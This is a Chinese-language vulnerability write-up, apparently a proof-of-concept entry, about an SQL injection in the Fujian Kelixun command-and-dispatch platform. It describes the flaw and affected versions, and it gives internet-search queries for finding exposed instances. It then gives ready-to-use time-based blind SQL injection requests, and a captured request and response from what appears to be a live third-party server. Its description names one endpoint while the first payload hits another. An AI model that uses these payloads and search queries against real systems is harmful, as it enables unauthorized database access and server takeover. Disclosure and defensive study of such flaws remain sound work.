F2-2福建科立讯通信-指挥调度管理平台-SQL

漏洞描述：

福建科立讯通信指挥调度管理平台 pwd_update.php 接口处存在SQL注入漏洞，攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本：

福建科立讯通信调度平台 <= 20240318

网站图片：

网络测绘：

fofa语法：

body="指挥调度管理平台"

360quake语法：

title: "指挥调度管理平台"

漏洞复现：

payload：

```
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
```

效果图:

Reque: 数据包扫描 美化 热加载 构造请求

```
1
2   GET /api/client/user/pwd_update.php?
    usr_number=1%27%20AND%20
    (SELECT%207872%20FROM%20(SELECT(SLEEP(6)))
    DHhu)%20AND%20%27pMGM%27=%27pMGM&
    new_password=1&sign=1 HTTP/1.1
3   Host: [redacted]
4   User-Agent: Mozilla/5.0 (Windows NT 10.0;
    Win64; x64; rv:123.0) Gecko/20100101
    Firefox/123.0
5   Accept: text/html,application/xhtml+xml,
    application/xml;q=0.9,image/avif,image/webp,
    */*;q=0.8
6   Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,
    zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7   Accept-Encoding: gzip, deflate, br
8   Connection: close
9   Upgrade-Insecure-Requests: 1
```

Responses 57bytes / 6074ms 美化 渲染 详情

```
1   HTTP/1.1 200 OK
2   Date: Fri, 29 Mar 2024 23:43:21 GMT
3   Server: Apache
4   Upgrade: h2
5   Connection: Upgrade, close
6   Set-Cookie:
    PHPSESSID=7179d2b6b13d16e7cb4f6b85ae874dbd; path=/
7   Expires: Thu, 19 Nov 1981 08:52:00 GMT
8   Cache-Control: no-store, no-cache, must-revalidate
9   Pragma: no-cache
10  X-Frame-Options: SAMEORIGIN;
11  Referer-Policy: origin;
12  Content-Security-Policy: frame-ancestors 'self';
13  X-Permitted-Cross-Domain-Policies: 'master-only';
14  X-XSS-Protection: 1; mode=block;
15  X-Download-Options: SAMEORIGIN;
16  X-Content-Type-Options: nosniff;
17  Strict-Transport-Security: max-age=31536000;
18  Content-Type: text/html; charset=UTF-8
19  Content-Length: 57
```

DNS耗时:202ms; 远端地址:111.1[redacted]59:7080; 响应时间:6074ms; 总耗时:6352ms; URL:http://order.mhyhly.com:7080/a...